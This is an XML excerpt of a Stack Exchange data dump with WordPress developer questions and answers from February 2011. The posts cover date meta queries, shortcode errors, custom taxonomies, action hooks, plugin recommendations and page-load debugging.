  <row Id="10749" PostTypeId="2" ParentId="10713" CreationDate="2011-02-28T19:28:54.973" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$todaysDate&lt;/code&gt; needs to be an array of two values to be &lt;code&gt;BETWEEN&lt;/code&gt; for the compare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you wanted to use a date range from today to a week in the future, then you might use something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$todaysDate = array(&#xA;    date('Y/m/d'),&#xA;    date('Y/m/d', strtotime('+1 week') )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you wanted to go back in time, then maybe..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$todaysDate = array(&#xA;    date('Y/m/d'),&#xA;    date('Y/m/d', strtotime('-1 week') )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Following on from the comments:&lt;/strong&gt; try this as the &lt;code&gt;meta_query&lt;/code&gt; part of your code.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'meta_query' =&amp;gt; array(&#xA;    array(&#xA;        'key' =&amp;gt; 'StartEventDate',&#xA;        'value' =&amp;gt; date('Y/m/d'),&#xA;        'type' =&amp;gt; 'DATE',&#xA;        'compare' =&amp;gt; '&amp;gt;=' // more than or equals&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; It's still possible to use the old &lt;code&gt;&amp;gt;&lt;/code&gt;(more than), &lt;code&gt;&amp;lt;&lt;/code&gt;(less than) and other meta comparisons with the new &lt;code&gt;meta_query&lt;/code&gt; args, or at least it looks that way by looking directly at the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/meta.php#L355&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/meta.php#L355&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-28T23:44:40.120" LastActivityDate="2011-02-28T23:44:40.120" CommentCount="23" />
  <row Id="10750" PostTypeId="1" AcceptedAnswerId="10762" CreationDate="2011-02-28T19:38:20.333" Score="0" ViewCount="576" Body="&lt;p&gt;I'm having a serious issue with Wordpress 3.1 with Multi Site enabled and my themes custom shortcode generator. For some reason, I'm getting the following error whenever I create a new page/post/custom post type page, etc. It is specifically an issue with radio buttons and the 'name' tag. When its removed, everything works fine. When it is set to a variable, I get the error. However, setting the variable to a constant (such as text) causes it to work again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the error I am getting; I have no clue what it means and what is causing it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Warning: Invalid argument supplied for foreach() in /home/matthew/public_html/wp-admin/includes/post.php on line 197&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Cannot modify header information - headers already sent by (output started at /home/matthew/public_html/wp-admin/includes/post.php:197) in /home/matthew/public_html/wp-includes/pluggable.php on line 897&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the PHP code (check line 892):&#xA;&lt;a href=&quot;http://pastebin.com/BNK7wE2W&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/BNK7wE2W&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit skeptical about releasing too much information before the theme is released, but if access to the admin panel is required then if possible get in touch with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Matthew.&lt;/p&gt;&#xA;" OwnerUserId="1432" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-02-28T21:05:18.090" LastActivityDate="2011-02-28T21:05:18.090" Title="WordPress MS wp-admin/includes/post.php error with shortcode generator" Tags="&lt;multisite&gt;&lt;errors&gt;&lt;post-meta&gt;&lt;foreach&gt;" AnswerCount="2" />
  <row Id="10752" PostTypeId="2" ParentId="10747" CreationDate="2011-02-28T19:47:21.250" Score="2" ViewCount="" Body="&lt;p&gt;Do you have a custom query in the footer that includes the post? If so, please try the following code before the loop the displays the footer post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php remove_filter( 'the_content', 'SFBSB_auto' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-28T19:47:21.250" CommentCount="1" />
  <row Id="10753" PostTypeId="2" ParentId="10705" CreationDate="2011-02-28T19:51:40.983" Score="1" ViewCount="" Body="&lt;p&gt;Here's a trick that &lt;code&gt;wp-includes/media.php&lt;/code&gt; uses for the &lt;code&gt;embed&lt;/code&gt; shortcode: first remove all shortcodes, then add a specific shortcode back to the system, filter your content for it, then re-register the original shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function etdc_tab_group( $atts, $content ){&#xA;  global $shortcode_tags;&#xA;  $GLOBALS['tab_count'] = 0;&#xA;&#xA;  // save the shortcode registrations&#xA;  $orig_shortcode_tags = $shortcode_tags;&#xA;  // remove them all&#xA;  remove_all_shortcodes();&#xA;  // add ours back in&#xA;  add_shortcode( 'tab', 'etdc_tab' );&#xA;  $content = do_shortcode( $content );&#xA;  // restore original shortcodes&#xA;  $shortcode_tags = $orig_shortcode_tags;&#xA;&#xA;  //...rest of the function...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, now that I'm looking at that &lt;code&gt;etdc_tab_group()&lt;/code&gt; function more closely, I'm suprised it's not breaking something... Did you copy and paste it directly, or did you edit anything out? Because it's never passing &lt;code&gt;$content&lt;/code&gt; back out again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first thing I'd try is just commenting out the &lt;code&gt;do_shortcode()&lt;/code&gt; call and see how that works. If that breaks something else, then try the method above?&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-28T19:51:40.983" CommentCount="0" />
  <row Id="10756" PostTypeId="1" CreationDate="2011-02-28T20:03:06.693" Score="0" ViewCount="121" Body="&lt;p&gt;My Query &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = array(&#xA;                'posts_per_page' =&amp;gt; 10,&#xA;                'tax_query' =&amp;gt; array(&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'country',&#xA;                            'field' =&amp;gt; 'id',                            &#xA;                            'terms' =&amp;gt; array(4)&#xA;                        )&#xA;                ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Added Custom Taxonomy Using&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function taxonomy_init() {&#xA;    // create a new taxonomy&#xA;&#xA;    register_taxonomy(&#xA;        'country',&#xA;        'post',&#xA;            array(&#xA;                'label' =&amp;gt; __('Countries (Labels)'),&#xA;                'sort' =&amp;gt; true,&#xA;                'args' =&amp;gt; array('orderby' =&amp;gt; 'term_order'),&#xA;                'rewrite' =&amp;gt; array('slug' =&amp;gt; 'location')&#xA;            )&#xA;    );&#xA;&#xA;&#xA;}&#xA;add_action( 'init', 'taxonomy_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whats wrong with it? I have 2 posts using that taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-02-28T20:38:10.960" Title="Why doesnt this query work? (Custom Taxonomy)" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="10757" PostTypeId="1" CreationDate="2011-02-28T20:04:04.813" Score="1" ViewCount="97" Body="&lt;p&gt;How can I follow &lt;code&gt;Just-In-Time&lt;/code&gt; approach in hooking up my function to an action? I mean everybody just attach the functions to a very early stage like &lt;code&gt;init&lt;/code&gt; which leaves the scope of optimisation. I saw in a Wordcamp presentation once that JIT will yield some performance and I totally agree with it but how do I find out what's the last hook I can hook to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything which can help in understanding the WP code execution flow too?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-01T01:12:28.413" Title="How to find hooks as per Just-In-Time approach?" Tags="&lt;hooks&gt;&lt;actions&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="10758" PostTypeId="1" AcceptedAnswerId="10759" CreationDate="2011-02-28T20:08:23.387" Score="0" ViewCount="172" Body="&lt;p&gt;Please advice a google picasa plug that will have similar to &lt;a href=&quot;https://picasaweb.google.com/lh/getEmbed&quot; rel=&quot;nofollow&quot;&gt;original&lt;/a&gt; look, but with more styles or that will simply look better.&lt;/p&gt;&#xA;" OwnerUserId="3583" LastActivityDate="2011-03-30T20:38:48.243" Title="Google picasa plugin" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10759" PostTypeId="2" ParentId="10758" CreationDate="2011-02-28T20:24:47.087" Score="1" ViewCount="" Body="&lt;p&gt;Hands Down best one i have use is &lt;a href=&quot;http://wordpress.org/extend/plugins/picasa-express-x2/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Picasa Express x2&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use Picasa user to get albums (&#xA;username can be stored in settings )&lt;/li&gt;&#xA;&lt;li&gt;Show albums cover and name for get&#xA;images.&lt;/li&gt;&#xA;&lt;li&gt;Images from album with caption or&#xA;filename for selection&lt;/li&gt;&#xA;&lt;li&gt;Select and insert single image or&#xA;banch for gallery.&lt;/li&gt;&#xA;&lt;li&gt;Enhanced Private Picasa albums after&#xA;granting access via Google service&lt;/li&gt;&#xA;&lt;li&gt;WordPress MU support - sidewide&#xA;activation, users, roles&lt;/li&gt;&#xA;&lt;li&gt;Gallery shortcodes for selected&#xA;images or for get all images from&#xA;Picasa album&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionaly setting is managing:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image link: none, direct, Picasa&#xA;image page, thickbox,lightbox and&#xA;highslide with gallery&lt;/li&gt;&#xA;&lt;li&gt;Sorting images in dialog and in&#xA;inserted gallery&lt;/li&gt;&#xA;&lt;li&gt;Caption under image or/and in&#xA;image/link title&lt;/li&gt;&#xA;&lt;li&gt;Alignment for images and gallery&lt;/li&gt;&#xA;&lt;li&gt;Additional style or CSS classes for&#xA;images and gallery&lt;/li&gt;&#xA;&lt;li&gt;Define Roles which capable to use the&#xA;plugin&lt;/li&gt;&#xA;&lt;li&gt;Switch from blog to user level for&#xA;store Picasa user and private access&#xA;token&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And by design:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Support native WordPress image and&#xA;link dialog for alignment, caption,&#xA;description, style and CSS class&lt;/li&gt;&#xA;&lt;li&gt;Thumbnail images size defined in&#xA;WordPress native properties&lt;/li&gt;&#xA;&lt;li&gt;Multilanguage support&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another good one would be &lt;a href=&quot;http://wordpress.org/extend/plugins/picasa-albums/&quot; rel=&quot;nofollow&quot;&gt;Picasa Albums&lt;/a&gt; which uses the new &quot;custom post types&quot; feature.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T20:24:47.087" />
  <row Id="10760" PostTypeId="2" ParentId="10757" CreationDate="2011-02-28T20:29:59.780" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/307/where-can-i-find-a-list-of-wordpress-hooks/339#339&quot;&gt;Mike's answer to a similar question&lt;/a&gt;&#xA;more specifically the plugin he posted there can be used to create a list of all action hooks and filters that were called to generate that page in order of execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-28T22:19:32.113" LastActivityDate="2011-02-28T22:19:32.113" />
  <row Id="10761" PostTypeId="2" ParentId="10756" CreationDate="2011-02-28T20:38:10.960" Score="1" ViewCount="" Body="&lt;p&gt;you mixed the query with the register function, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function taxonomy_init() {&#xA;    // create a new taxonomy&#xA;    register_taxonomy(&#xA;        'country',&#xA;        'post',&#xA;            array(&#xA;                'label' =&amp;gt; __('Countries (Labels)'),&#xA;                'rewrite' =&amp;gt; array('slug' =&amp;gt; 'location')&#xA;            )&#xA;    );&#xA;}&#xA;add_action( 'init', 'taxonomy_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the in your query use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = array(&#xA;                'posts_per_page' =&amp;gt; 10,&#xA;                'tax_query' =&amp;gt; array(&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'country',&#xA;                            'field' =&amp;gt; 'id',                            &#xA;                            'terms' =&amp;gt; array(4)&#xA;                        )&#xA;                ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;since you are querying only one term you don't need to order by term_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are trying to achive something else the please explain a bit more.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T20:38:10.960" CommentCount="4" />
  <row Id="10762" PostTypeId="2" ParentId="10750" CreationDate="2011-02-28T20:42:27.493" Score="0" ViewCount="" Body="&lt;p&gt;I did spot one problem in your &lt;code&gt;case&lt;/code&gt; clause for radio buttons: In your &lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt; tag, you use &lt;code&gt;$val&lt;/code&gt;, but I think you meant &lt;code&gt;$option['id']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see how it could be related to the &lt;code&gt;foreach&lt;/code&gt; error you're getting, but it won't hurt to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The odd thing is that the real error is coming from core code: &lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;, line 197. It looks like you're passing in some post meta, but you aren't passing in an array, like it wants. Does that help you narrow things down?&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-28T20:42:27.493" CommentCount="6" />
  <row Id="10763" PostTypeId="2" ParentId="10750" CreationDate="2011-02-28T20:42:41.953" Score="0" ViewCount="" Body="&lt;p&gt;When you get: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Cannot modify header&#xA;  information - headers already sent by&#xA;  (output started at...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reason and Solution :&lt;/strong&gt;&#xA;It is usually because there are spaces, newlines, or other garbage&#xA;before an opening &lt;code&gt;&amp;lt;?php&lt;/code&gt; tag or after a closing &lt;code&gt;?&amp;gt;&lt;/code&gt; tag. make sure there are none and save as utf-8 without bom&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T20:42:41.953" CommentCount="1" />
  <row Id="10764" PostTypeId="1" CreationDate="2011-02-28T20:46:13.433" Score="1" ViewCount="284" Body="&lt;p&gt;I've been looking all over to find a solution for SSL with WordPress MultiSite and Domain Mapping.  Ideally, I'd like to purchase an SSL cert for each domain (or potentially a wildcard cert) anyone have a solution that has worked for them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fearing that I overlooked this detail and will now have to split up my happy MU home in order to secure this domain properly.&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-07-01T00:13:18.097" Title="Anyone figured out how to use WordPress MultiSite with Domain Mapping &amp; SSL?" Tags="&lt;multisite&gt;&lt;3.1&gt;&lt;domain-mapping&gt;&lt;ssl&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="10766" PostTypeId="2" ParentId="10757" CreationDate="2011-02-28T21:05:31.023" Score="1" ViewCount="" Body="&lt;p&gt;A lot of the time, people use the &lt;code&gt;init&lt;/code&gt; hook. But this can be a mistake for many cases of conditional execution. For example, at &lt;code&gt;init&lt;/code&gt; time, the view type ('home', 'single', 'page', 'archive', etc) is not yet known. If you need to conditionally call your function based on &lt;code&gt;is_page()&lt;/code&gt; or similar, you need to use a hook that executes later, like &lt;code&gt;template_redirect&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, for admin-side events, it is usually better to use the &lt;code&gt;admin_menu&lt;/code&gt; hook rather than &lt;code&gt;admin_init&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resources in the Q/A pointed to by @Bainternet are very useful, so you should definitely look at those. But I thought I'd just point out a couple of specific things that might be useful to know.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-02-28T21:05:31.023" />
  <row Id="10767" PostTypeId="2" ParentId="10500" CreationDate="2011-02-28T21:08:50.850" Score="4" ViewCount="" Body="&lt;p&gt;As a rule of thumb, you should use a POST request for most actions, to make sure they are not &lt;a href=&quot;http://blog.moertel.com/articles/2005/10/25/google-web-accelerator-vs-unsafe-linking-round-two&quot; rel=&quot;nofollow&quot;&gt;executed by accident&lt;/a&gt;. But it is also a good practice to redirect to a normal page after a POST request, to prevent duplicate execution when the user refreshes the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the flow is like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your plugin page with a POST form, which submits to&lt;/li&gt;&#xA;&lt;li&gt;A page that handles the request, which redirects to&lt;/li&gt;&#xA;&lt;li&gt;Your plugin page, which shows the result of the action&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The middle page doesn't have to be your plugin page. This means that you can use the &lt;a href=&quot;http://core.trac.wordpress.org/ticket/7283&quot; rel=&quot;nofollow&quot;&gt;&quot;generic POST handler&quot;&lt;/a&gt; that was included three years ago, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/admin.php#L235&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;'admin_action_' . $_REQUEST['action']&lt;/code&gt; hook in &lt;code&gt;admin.php&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example user is &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/akismet/tags/2.5.3/admin.php#L696&quot; rel=&quot;nofollow&quot;&gt;the Akismet plugin&lt;/a&gt;. If you want to use it reliably, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/10501/what-is-the-admin-action-requestaction-hook-used-for/10733#10733&quot;&gt;you have to submit to &lt;code&gt;admin.php&lt;/code&gt; directly&lt;/a&gt;, not to another page that happens to include &lt;code&gt;admin.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a very basic example of how to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_action_wpse10500', 'wpse10500_admin_action' );&#xA;function wpse10500_admin_action()&#xA;{&#xA;    // Do your stuff here&#xA;&#xA;    wp_redirect( $_SERVER['HTTP_REFERER'] );&#xA;    exit();&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'wpse10500_admin_menu' );&#xA;function wpse10500_admin_menu()&#xA;{&#xA;    add_management_page( 'WPSE 10500 Test page', 'WPSE 10500 Test page', 'administrator', 'wpse10500', 'wpse10500_do_page' );&#xA;}&#xA;&#xA;function wpse10500_do_page()&#xA;{&#xA;?&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo admin_url( 'admin.php' ); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;wpse10500&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Do it!&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-28T21:08:50.850" CommentCount="5" />
  <row Id="10768" PostTypeId="1" CreationDate="2011-02-28T21:10:14.657" Score="0" ViewCount="205" Body="&lt;p&gt;I am trying to put variables into the URL, which I can then use in my Wordpress template. So for example I have created a wordpress template something.php and the page &quot;somepage&quot; with this template. Now in my something.php I am trying to get a variable (for example something.php?variable=whatever) into my script in order to use it there. Im doing this with $_GET[&quot;variable&quot;]. Now everything worked fine on the test server. Now I have put it onto the real server (which is actually the same server, just another copy of wordpress) and there it doesnt work. Opening the URL www.example.com/somepage?variable=whatever will directly lead to www.example.com/somepage. So Wordpress is removing every variable in the URL.&#xA;Another thing that doesnt work and that probably has to do with the same problem is a search, which I created and which has the post type &quot;post&quot;, not &quot;get&quot;.&#xA;What do you think could be the problem, since it worked perfectly fine on the same server with another wordpress copy (same version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your help!&#xA;phpheini&lt;/p&gt;&#xA;" LastActivityDate="2011-02-28T22:09:38.737" Title="Why does Wordpress remove my variables in the URL?" Tags="&lt;php&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10769" PostTypeId="2" ParentId="10714" CreationDate="2011-02-28T21:16:57.877" Score="3" ViewCount="" Body="&lt;p&gt;I could be wrong, but I don't think your queries are the problem here. Seeing the result &quot;36 queries in 8.291 seconds&quot; is scary, but that only measures the time in between the start of the first query and the completion of the last query. There are a lot of other things in there slowing your page loads down. If you want to see how much time your queries are actually taking up, try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line to your &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( &quot;SAVEQUERIES&quot;, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And output the actual query history in your footer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;!--- \r\n&quot;;&#xA;global $wpdb;&#xA;var_dump( $wpdb-&amp;gt;queries );&#xA;echo &quot;\r\n---&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can view the source of your page and see if any of the queries are actually taking an inordinate amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your page with &lt;a href=&quot;http://developer.yahoo.com/yslow/&quot; rel=&quot;nofollow&quot;&gt;Yslow&lt;/a&gt; enabled, it looks to me like the biggest time-consumer is the image resizing that's being done on all of the post images. On my load of the site, it looks like each of those images is taking between .3 and 1.25 seconds to load, and you have 6 of them on your home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, it looks like they're being generated dynamically in your theme files, with the query string argument &lt;code&gt;?&amp;amp;w=300&lt;/code&gt;, which will prevent them from being cached. And - on top of that - they're being resized again in the browser to 115x80, adding a further slowdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is: start by tweaking the image display functions of your theme. &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;Add an additional image size&lt;/a&gt; to your theme, so that the image is being resized when its initially uploaded, instead of being resized on every pageview. If that doesn't help, install Yslow and go through the prompts it gives you. Tweaking the headers and etags on images (through htaccess) can allow images to be cached that are otherwise force-loaded on every page view.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Also - you're loading several different versions of jquery - the one bundled with WordPress (probably called by one of your plugins), one from google API, and one bundled with your theme. You'll have to untangle all of that mess and make sure all your various components use proper procedure for enqueueing scripts etc... I don't envy you&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-03T05:36:48.053" LastActivityDate="2011-03-03T05:36:48.053" CommentCount="0" />
  <row Id="10770" PostTypeId="2" ParentId="10768" CreationDate="2011-02-28T22:09:38.737" Score="2" ViewCount="" Body="&lt;p&gt;For one, you can't call template files directly as you're doing... If you want the page &lt;code&gt;somepage&lt;/code&gt;, you should call it directly, with the query string arguments added after a trailing slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look into the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;add_query_arg()&lt;/a&gt; - its a much more bulletproof way of tacking GET variables onto the end of WordPress urls. For example, if you need to call &lt;strong&gt;www.example.com/somepage&lt;/strong&gt; with the query string &lt;strong&gt;?variable=whatever&lt;/strong&gt;, try calling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_query_arg( 'variable', 'whatever', 'http://www.example.com/somepage' )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the proper url to use. This guarantees getting the proper url in a format that won't clash with your rewrite rules.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-02-28T22:09:38.737" CommentCount="3" />
  <row Id="10771" PostTypeId="2" ParentId="10757" CreationDate="2011-02-28T22:14:25.457" Score="1" ViewCount="" Body="&lt;p&gt;I myself use something different, but got this snippet to advance my hook &quot;spoofer&quot; one day.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function list_hooks( $filter = false ){&#xA;    global $wp_filter;&#xA;&#xA;    $hooks = $wp_filter;&#xA;    ksort( $hooks );&#xA;&#xA;    foreach( $hooks as $tag =&amp;gt; $hook )&#xA;        if ( false === $filter || false !== strpos( $tag, $filter ) )&#xA;            dump_hook($tag, $hook);&#xA;}&#xA;&#xA;function list_live_hooks( $hook = false ) {&#xA;    if ( false === $hook )&#xA;        $hook = 'all';&#xA;&#xA;    add_action( $hook, 'list_hook_details', -1 );&#xA;}&#xA;&#xA;function list_hook_details( $input = NULL ) {&#xA;    global $wp_filter;&#xA;&#xA;    $tag = current_filter();&#xA;    if( isset( $wp_filter[$tag] ) )&#xA;        dump_hook( $tag, $wp_filter[$tag] );&#xA;&#xA;    return $input;&#xA;}&#xA;&#xA;function dump_hook( $tag, $hook ) {&#xA;    ksort($hook);&#xA;&#xA;    echo &quot;&amp;lt;pre&amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;\t&amp;lt;strong&amp;gt;$tag&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;    foreach( $hook as $priority =&amp;gt; $functions ) {&#xA;&#xA;    echo $priority;&#xA;&#xA;    foreach( $functions as $function )&#xA;        if( $function['function'] != 'list_hook_details' ) {&#xA;&#xA;        echo &quot;\t&quot;;&#xA;&#xA;        if( is_string( $function['function'] ) )&#xA;            echo $function['function'];&#xA;&#xA;        elseif( is_string( $function['function'][0] ) )&#xA;             echo $function['function'][0] . ' -&amp;gt; ' . $function['function'][1];&#xA;&#xA;        elseif( is_object( $function['function'][0] ) )&#xA;            echo &quot;(object) &quot; . get_class( $function['function'][0] ) . ' -&amp;gt; ' . $function['function'][1];&#xA;&#xA;        else&#xA;            print_r($function);&#xA;&#xA;        echo ' (' . $function['accepted_args'] . ') &amp;lt;br /&amp;gt;';&#xA;        }&#xA;    }&#xA;&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If someone wrote this, pls name yourself as the author (with a link to orig. source). I forgot to safe the link.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt; You should also take a look into this page &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;@Codex&lt;/a&gt;. There you can see the order in which order get triggered.&lt;br&gt;&#xA;Should give you a start: &lt;code&gt;/root/index.php &amp;gt; wp-blog-header.php &amp;gt; wp-load.php &amp;gt; wp-config.php &amp;gt; wp-settings.php &amp;gt; \wp-includes\load.php &amp;gt; \wp-includes\default-constants.php &amp;gt; ...&lt;/code&gt; best would be you grab some debug class from somewhere and just check the includes local.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-01T01:12:28.413" LastActivityDate="2011-03-01T01:12:28.413" />
